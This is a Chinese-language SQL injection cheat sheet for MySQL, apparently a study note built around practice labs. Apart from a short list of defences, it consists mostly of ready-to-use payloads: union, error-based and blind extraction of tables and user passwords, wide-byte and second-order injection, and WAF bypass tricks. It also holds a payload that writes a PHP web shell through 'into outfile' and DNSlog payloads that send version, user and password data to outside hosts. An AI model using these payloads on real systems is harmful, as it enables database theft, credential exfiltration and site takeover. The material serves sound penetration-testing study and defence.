首先什么是SQL注入:
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
SQL注入有什么危害?
危害:数据泄露、脱库、篡改网站、破坏数据库、植入后门、getshell(获取网站权限)
为什么会有SQL注入漏洞?
后端代码在执行的过程将用户输入的数据也当做代码来执行,违背一个原则:代码和数据相分离(本质问题)
前段传递的数据可以随意控制,参数可控;后端对前段传递过来的数据没有过滤或者过滤不严谨,最终导致SQL注入(注入的原因)
防御:
1:普通用户与系统管理员用户权限分离
2:强迫使用参数化得语句
3:对用户输入得参数进行验证
4:多层验证
5:加WAF
MYSQL注入常用函数
user()–当前使用数据库的用户
version()—当前数据库版本
database()—当前使用的数据库
group_concat()—将数据库的某几列合并为一个字符串
@@datadir—数据库的路径
@@version_compile_os----操作系统版本
@@hostname 当前机器的机器名
show variables like 'log_% 查看日志文件存放位置
count(*)是对行数目进行计数
MYSQL数据库结构
select schema_name from information_schema.schemata ----查库
select table_name from information_shchema.tables where table_schema=‘库名’—查表
select column_name from information_schema.columns where table_name =‘表名’–查字段
select 列名
from 库名.表名—查数据
判断注入点和闭合方式m
1,数字型无需闭合判断晚注入点直接注入
2,字符型闭合方式有 ’ " ') ")
3,判断是否有注入点方式有 and 1=1 and 1=2 or 1=1 or 1=2 and ‘1’='1 and ‘1’= '2
&& || 如何拼接条件为假的判断方式页面和为真的页面不一样为此处有注入点
注释符 --+ # %23
联合注入 —适用于能够正常回显的注入方式
order by group by ----判断列数
?id=-1 union select 1,2,3,4 —加个- 号 为的是判处显示位 select 1,2,3,4 --通过order by 判断出列数所得
?id=-1 union select 1,database(),3,4 --根据显示位插入函数或者想要执行SQL语句
?id=-1 union select 1,group_concat(table_name) information_schema.tables where table_schema=‘库名’,3,4
报错注入 --适用于能够回显SQL错误语句的注入方式
函数介绍
count(column_anme)—返回列的条数
concat(id,’~’,name)----连接字符穿或者列进行拼接 --返回结果 列:admin~1
rand()和rand(0)—返回0-1之间的随机数–是小数结果 每次返回的值都不一样 列子:0.3435454365234234
floor(n)—对传入的值向下取整 返回值位取证的数 四舍五入 不是0就是1
count(*),concat floor (rand()*2) group by a —这些函数凑一起就能报错
floor()
id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+ 爆出当前用户
id=1 and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 1,1),’~’,floor(rand(0)*2))x from information_schema.tables group by x)a) --+ ----查库 后续sql语句在concat 中插入
extractvalue()
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) --+ --爆出当前用户
id=1 and (extractvalue(1,concat(0x7e,(select(schema_name) from information_schema.schemata limit 1,1),0x7e))) --+ --查库 后续sql语句在concat 中插入
updatexml()
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) --+ --爆出当前用户
id=1 and (updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)) --+查库 后续sql语句在concat 中插入
geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b))–+
multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b)) --+
polygon()
id=1 and polygon((select * from(select * from(select user())a)b)) --+
multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b))–+
linestring()
id=1 and linestring((select * from(select * from(select user())a)b)) --+
multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b))–+
exp()
id=1 and exp(~(select * from(select user())a))–+
延时盲注
函数介绍
if(condition,expr2,expr3)—如果condition为真,那么if()返回值为expr2否则(假)为expr3 例if(true,1,2) 返回值为1
sleep(arg1)–arg1为中断的时间 例select if(payload,sleep(5),1)为payload语句正确回暂停5秒
benchmark(arg1,arg2)–arg1为操作的次数,arg2为表达式 例:select if(true,benchmark(500000000,‘ok’),2)
if和sleep的结合使用
select if(left(version(),1)=5,sleep(5),2)—如何版本号等于5就会延时5秒
我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii()–ascii码hex()—十六进制
(2)【获取数据库名】,
判断数据库名长度
and if((length(database())>10),sleep(5),1)
and if((length(database())>5), benchmark(50000000,md5(‘abc’)),1)
改变n的值依次获取数据库名的字符
and if((ascii(substr(database(),n,1))>97),sleep(5),1)
(3)获取表名
先获取表数量
and if(((select count() from information_schema.tables where table_schema=database())>5),sleep(5),1)
再用limit依次获取每个表名的长度
and if(((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5),sleep(5),1)
最后获取每个表名的名字
and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97),sleep(5),1)
(4)获取列名
先获取列名个数
and if(((select count() from information_schema.columns where table_name=‘users’ and table_schema=database())>5),sleep(5),1)
再获取列名长度
and if(((select length(column_name) from information_schema.columns where table_name=‘users’ and table_schema=database() limit 0,1)>5),sleep(5),1)
最后获取列名
and if((ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit 0,1),1,1))>97),sleep(5),1)
(5)获取数据
先确定第一个用户名长度
and if(((select length(username) from users limit 0,1)>5),sleep(5),1)
再确定用户名每一个字符的对应字母
and if((ascii(substr((select username from users limit 0,1),1,1))>97),sleep(5),1)
布尔盲注
布尔注入的常用函数:
1、length()
函数 length(arg1) //arg1字符串,返回字符串的长度。
语句:select length(database()); 返回结果为当前数据库的名字长度。
2、ascii()
ascii(arg1) //arg1为字符,作用为返回单个字符的ascii码。
语句:select ascii(’ a ') 返回结果:97
3、截取字符串函数
substring(要截断的字符串,开始截取位置,截取长度) (从1开始)
substr(string,start,length) --substring使用方法一样
mysql 专
mid(要截断的字符串,开始截取位置,截取长度)(从1开始)
left 左截取 left(str, 3) 从左往右截取3个字符
right 右截取 right(str, 3) 从右往左截取3个字符
功能:截取字符串功能
返回值:为截取后的字符串
参数:string为操作字符串,start为开始位置,length为截取长度
布尔注入实战:
(1)判断闭合情况
(2)获取数据库名
先得到数据库名的长度
and length(database())>5,
改变n的值依次获取数据库名的字符
and ascii(substr(database(),1,1))>97
(3)获取表名
先获取表数量
and (select count() from information_schema.tables where table_schema=database())>5
再用limit依次获取每个表名的长度
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5,
最后获取每个表名的名字
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
(4)获取列名
先获取列名个数
and (select count() from information_schema.columns where table_name=‘users’ and table_schema=database())>5,
再获取列名长度
and (select length(column_name) from information_schema.columns where table_name='users’ and table_schema=database() limit 0,1)>5,
最后获取列名
and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit 0,1),1,1))>97
(5)获取数据
先确定第一个用户名长度
and (select length(username) from users limit 0,1)>5
and (select length(key
) from dotaxueyuan.key limit 0,1)=11–+
再确定用户名每一个字符的对应字母
and ascii(substr((select username from users limit 0,1),1,1))>97
and ascii(substr((select key
from dotaxueyuan.key limit 0,1),1,1))=97
宽字节注入:
1.什么叫宽字节注入?
【MySQL是用的PHP语言,然后PHP有addslashes()等函数,这类函数会自动过滤 ’ ‘’ null 等这些敏感字符,将它们转义成’ ‘’ \null;然后宽字节字符集比如GBK它会自动把两个字节的字符识别为一个汉字,所以我们在单引号前面加一个%df,从而使单引号逃逸。】
2.什么情况下存在宽字节注入?
宽字节的注入条件有两个:
1.数据库编码设置成GB系列
这里说的GB系列编码,不是指PHP页面的编码,而是连接数据库使用的编码。
2.使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义。
常见的包括addslashes()、mysql_real_escape_string()函数。
转义函数的转义作用,就是我们常说的“过滤机制”。
当两个条件都满足时,才会存在宽字节注入。
3.具体原理:
1.通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到addslashes()时,单引号会被转义成 \’ ,导致我们用来判断注入点的单引号失效。
所以我们的目的就是使转义符 \ 失效、使单引号逃逸。
2.我们通过URL编码来分析,首先先看看这些特殊符号的URL编码:
我们的payload的是【%df %27】,其原理是当MySQL在使用GBK编码的时候,会认为两个字符是一个繁体汉字,然后让我们的单引号%27成功逃逸:
?id=1%e5%5c%27 or 1 =1 接着注入 因为前面or前面条件为假 所谓后面得跟一个为真的表达式数据库才会执行
有单引号的地方将参数经行十六进制编码
二次注入:
在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
假如有一个网站管理员的用户名为:root 密码为:123456789 ,攻击者注册了一个账号 : root’-- 密码为:123 因为账号当中有特殊字符,网站对于特殊字符进行了转义,一次注入在这就行不通了。虽然账号被转义了,但是他在数据库当中任然是以 root’-- 的方式被储存的。现在攻击者开始实施正真的攻击了,他开始对账号修改密码。普通网站修改密码的过程为:
<( ̄︶ ̄)↗ 先判断用户是否存在
<( ̄︶ ̄)↗ 确认用户以前的密码是否正确
<( ̄︶ ̄)↗ 获取要修改的密码
<( ̄︶ ̄)↗ 修改密码成功。
在数据库中 – 表示注释的意思,后面的语句不会执行,而root后面的那个单引号又与前面的 ’ 闭合,而原本后面的那个单引号因为是在 – 之后,所以就被注释掉了,所以他修改的其实是 root 的密码。
HTTP头部注入
在浏览器传参地方输入正确的用户名和密码后通过burp suite抓包,对user-Agent字段末尾加上单引号,查看是否报错
HTTP头部注入实战:
采用报错注入方式进行爆库
and extractvalue(1,concat(0x7e,(select version()),0x7e)) and ‘1’=‘1
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)),’’,’’)#
MySQL文件读写
show variables like ‘%secure_file%’ 查看可以读写的文件夹
在mysql配置文件中可以设置(my.ini)
1.如果这个参数为空,没有限制;
- 如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会自动创建
- 如果这个参数为NULL,MySQL服务会禁止导入和导出操作。(默认)
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A、必须有权限读取并且文件必须完全可读
and (select count() from mysql.user)>0/ 如果结果返回正常,说明具有读写权限。
and (select count() from mysql.user)>0/ 返回错误,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于max_allowed_packet
MySQL文件写入实战:
在my.ini配置文件中插入允许写入权限
secure_file_priv="/"
max_allowed_packet=1024M //更改接受数据包的大小为1024m
show variables like ‘%max_allowed_ %’ //查看接受数据包的大小
show variables like ‘%secure_file%’ //查看是否有写入权限
http://127.0.0.1/sqli/Less-7/?id=1’)) UNION SELECT 1,2,’<?php @eval($_REQUEST["mima"])?>’ into outfile “E:\phpstudy_pro\WWW\sqli\Less-7\shell.php”–+
dnslog注入:
1、获取数据库版本
union select load_file(concat(’\\’,(select version()),’.meomna.ceye.io\abc’)),2,3%23
或者
1’ and if((select load_file(concat(’\\’,(select version()),’.6dz4ut.ceye.io\abc’))),1,1)–+
2、获取当前用户信息
union select load_file(concat(’\\’,(select hex(user())),’.meomna.ceye.io\abc’)),2,3%23
或者
1’ and if((select load_file(concat(’\\’,(select hex(user())),’.6dz4ut.ceye.io\abc’))),1,1)–+
3、获取表名
union select load_file(concat(’\\’,(select hex(group_concat(table_name)) from information_schema.tables where table_schema=‘security’),’.ce67dq.dnslog.cn\abc’)),2,3%23
或者
1’ and if((select load_file(concat(’\\’,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),’.ce67dq.dnslog.cn\abc’))),1,1)–+
4、获取字段:
1’ and if((select load_file(concat(’\\’,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),’.ce67dq.dnslog.cn\abc’))),1,1)–+
5、获取数据
union select load_file(concat(’\\’,(select hex(concat(username,0x7e,password,0x7e)) from security.users limit 0,1),’.ce67dq.dnslog.cn\abc’)),2,3%23
或者
1’ and if((select load_file(concat(’\\’,(select password from security.users limit 0,1),’.ce67dq.dnslog.cn\abc’))),1,1)–+
二次编码注入
浏览器会对from表单中的数据进行一次URL编码,到达服务器之后会默认解码
PHP中URL解码函数有: urldecode() rawurldecode()
HTTP头部SQL注入
user-agrent
**步骤1:**数据库名security
Referer: ’ or updatexml(1,concat(’#’,(database())),0),’’)#
**步骤2:**表名users
Referer: ’ or updatexml(1,concat(’#’,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)),0),’’)#
**步骤3:**字段名id、username、password
Referer: ’ or updatexml(1,concat(’#’,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)),0),’’)#
**步骤4:**数据
Referer: ’ or updatexml(1,concat(’#’,(select * from (select concat_ws(’#’,id,username,password) from users limit 0,1) a)),0),’’)#
搜索型注入
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:
其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。
判断搜索型注入的方法:
1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
3 搜索keywords% ‘and 1=1 and ‘%’=’(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
4 搜索keywords% ‘and 1=2 and ‘%’=’(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况
5 根据两次的返回情况来判断是不是搜索型文本框注入了
下面这几种语句都可以:
‘and 1=1 and ‘%’=’
%’ and 1=1–’
%’ and 1=1 and ‘%’=’
查询语句
判断字段数:
%’ order by 1 and ‘%’=‘
判断字段显示位置:
%’ union select 1,2,3,4,5 and ‘%’=‘
爆库名:
%’ union select 1,2,(select database()),4,5 and ‘%’=‘
爆表名:
%’ union select 1,2,(select group_concat(table_name) from information_schema.tables table_schema=‘database’),4,5 and ‘%’=‘
爆数据:
%’ union select 1,2,(select group_concat(column_name) from information_schema.columns table_schema=‘database’ and table_name=‘table’),4,5 and ‘%’=‘
爆字段:
%’ union select 1,2,(select group_concat(id,0x3a,user,0x3a,passwd) from database.table),4,5 and ‘%’=‘
搜索型盲注
通过left()截取,判断语句如下
%‘and(SELECT left(version(),1)>4) and ‘%’=’ /回显正常/
%‘and(SELECT left(version(),1)>6) and ‘%’=’ /回显错误/
%‘and(SELECT left(version(),1)=5) and ‘%’=’ /回显正常/
当>4时回显正常说明版本大于4,当大于6时回显错误,判断版本为5
0×02-判断数据库长度
%‘and(SELECT length(database())>1) and ‘%’=’ /回显正常/
%‘and(SELECT length(database())>4) and ‘%’=’ /回显错误/
%‘and(SELECT length(database())=4) and ‘%’=’ /回显正常/
通过回显,猜测出数据库长度为4
0×03-猜解数据库名
%‘and(SELECT left(database(),1))>‘1’ and ‘%’=’
%‘and(SELECT left(database(),1))>‘1’ and ‘%’=’
%‘and(SELECT left(database(),1))=‘p’ and ‘%’=’ p
%‘and(SELECT left(database(),2))=‘ph’ and ‘%’=’ ph
%‘and(SELECT left(database(),3))=‘php’ and ‘%’=’ php
%‘and(SELECT left(database(),4))=‘phpx’ and ‘%’=’
此处用了经典的折半法猜解
%‘and(SELECT left(database(),1))>‘1’ and ‘%’=’ /回显正常/
%‘and(SELECT left(database(),1))>‘9’ and ‘%’=’ /回显正常/
/说明第一个字符不是数字/
%‘and(SELECT left(database(),1))>‘a’ and ‘%’=’ /回显正常/
%‘and(SELECT left(database(),1))>‘z’ and ‘%’=’ /回显错误/
/开始折半/
%‘and(SELECT left(database(),1))>‘m’ and ‘%’=’ /回显正常说明在m-z间/
%‘and(SELECT left(database(),1))>‘r’ and ‘%’=’ /回显错误说明在m-r间/
%‘and(SELECT left(database(),1))=‘p’ and ‘%’=’/回显正常,确定了为p/
%‘and(SELECT left(database(),2))=‘ph’ and ‘%’=’/回显正常说明第二个字符为h/
…………
根据上面说的拆半法,依次猜解出了数据库名为phpx
0×04-猜解字段
%‘and(select count(username)from user)>0 and ‘%’=’
猜解user表中的总数
%‘and(select count(*)from user)>2 and ‘%’=’ /回显错误/
%‘and(select count(*)from user)>1 and ‘%’=’/回显正确/
%‘and(select count(*)from user)=2 and ‘%’=’/回显正确,说明有俩/
密码猜解也是这样的方法
0×05-猜解username的长度
%‘and (select (select length(username) from user limit 0,1) from user limit 0,1)>0 and ‘%’=’ /回显正确/
%‘and (select (select length(username) from user limit 0,1) from user limit 0,1)>9 and ‘%’=’ /回显正确/
%‘and (select (select length(username) from user limit 0,1) from user limit 0,1)>10 and ‘%’=’ /回显错误/
%‘and (select (select length(username) from user limit 0,1) from user limit 0,1)=10 and ‘%’=’ /回显正确,说明第一位username有10位/
%‘and (select (select length(username) from user limit 1,1) from user limit 1,1)>0 and ‘%’=’ /回显正确,第二位同样为10位/
0×06-猜解值
猜解值太苦逼了,使用burpsuite来不断的提交post猜解算了,方法都是一样的
0×07-猜解password
方法和猜解username的一样,不再做赘述
0×08-关于特殊字符和避免php的GPC转义
如果遇到特殊字符的话会更加苦逼,此处可以用到substr函数,使用方法可以参看手册,示例可参看习科的一文
避免GPC转义
select substr(left((select user from ebt_user),1),1,1)=char(48)
%‘and(SELECT left(version(),1)=5) and ‘%’=’
SQL注入绕过 payload
绕过空格 注释符 + %a0 注释符有 //,/**/, %00,–a ,用括号替换空格
union//select
union+select
union%a0select
(union)(select)
大小写绕过
UNion selECT
垃圾数据绕过
?di=111111111111111111111111111111111111111111111111111111union select
更换提交方式绕过
GET提交可以换成POST试试 或POST换成GET
双写绕过
aanndd=1 selselectect
HTTP参数污染绕过
?id=1&id=11
URL编码绕过
对构造得语句进行编码
等价函数绕过
hex() ,bin() ===ascii()
sleep()==benchmark()
concat_ws==group_concat()
mid , substr()===substring()
@@user()===user()
@@datadir ====datadir()
对函数禁用了可以尝试内联注释
/!/ ====/!group_concat/
在MySQL里,/**/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/后头加了惊叹号(/!50001sleep(3)*/),那么此注释里的语句将被执行。
将WAF中过滤的敏感字符通过添加%绕过过滤。
例如:WAF过滤了select ,可通过se%lect绕过过滤,在进入后端执行中对参数串进行url解码时,会直接过滤掉%字符,从而注入语句被执行。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤%字符